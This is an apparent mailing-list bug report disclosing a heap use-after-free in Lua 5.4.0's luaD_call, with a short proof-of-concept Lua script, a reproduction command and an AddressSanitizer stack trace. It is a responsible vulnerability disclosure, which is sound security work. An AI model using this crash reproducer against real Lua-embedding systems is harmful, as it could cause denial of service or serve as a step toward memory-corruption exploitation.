- **Subject**: **Heap use after free in luaD_call**
- **From**: Yongheng Chen <changochen1@...>
- **Date**: Mon, 6 Jul 2020 00:31:52 -0400

Hi,

We found a heap use after free in lua. Here's the details:

Version:

Lua 5.4.0, git hash c33b1728aeb7dfeec4013562660e07d32697aa6b

POC:

```
function errfunc() string.rep('mod', 512) end
function test()
  load(function()(function() printload(
    xpcall(test, function() print(xpcall(test, errfunc)) end)) end)() end)
  end(function() print(xpcall(test, errfunc)) end)()
```

How to reproduce:

./lua poc.lua

Stack dump:

```
==================================================================
==16339==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000106afc at pc 0x000000414f64 bp 0x7ffd2b8acdb0 sp 0x7ffd2b8acda0
WRITE of size 2 at 0x606000106afc thread T0
  #0 0x414f63 in luaD_call (/home/yongheng/lua_asan/lua+0x414f63)
  #1 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
  #2 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
  #3 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
  #4 0x40baf4 in lua_callk (/home/yongheng/lua_asan/lua+0x40baf4)
  #5 0x4562fb in generic_reader (/home/yongheng/lua_asan/lua+0x4562fb)
  #6 0x447cb8 in luaZ_fill (/home/yongheng/lua_asan/lua+0x447cb8)
  #7 0x412594 in f_parser (/home/yongheng/lua_asan/lua+0x412594)
  #8 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
  #9 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
  #10 0x41611c in luaD_protectedparser (/home/yongheng/lua_asan/lua+0x41611c)
  #11 0x40c1d4 in lua_load (/home/yongheng/lua_asan/lua+0x40c1d4)
  #12 0x456a92 in luaB_load (/home/yongheng/lua_asan/lua+0x456a92)
  #13 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
  #14 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
  #15 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
  #16 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
  #17 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
  #18 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)
  #19 0x45672e in luaB_xpcall (/home/yongheng/lua_asan/lua+0x45672e)….
```

Found by: Yongheng Chen and Rui Zhong

Best,

Yongheng

- **Follow-Ups**:
  - **Re: Heap use after free in luaD_call**, *Roberto Ierusalimschy*
- Prev by Date: **Stack overflow in luaO_pushvfstring**

- Next by Date: **Heap overflow in luaT_adjustvarargs**
- Previous by thread: **Re: Stack overflow in luaO_pushvfstring**
- Next by thread: **Re: Heap use after free in luaD_call**
- Index(es):
  - **Date**
  - **Thread**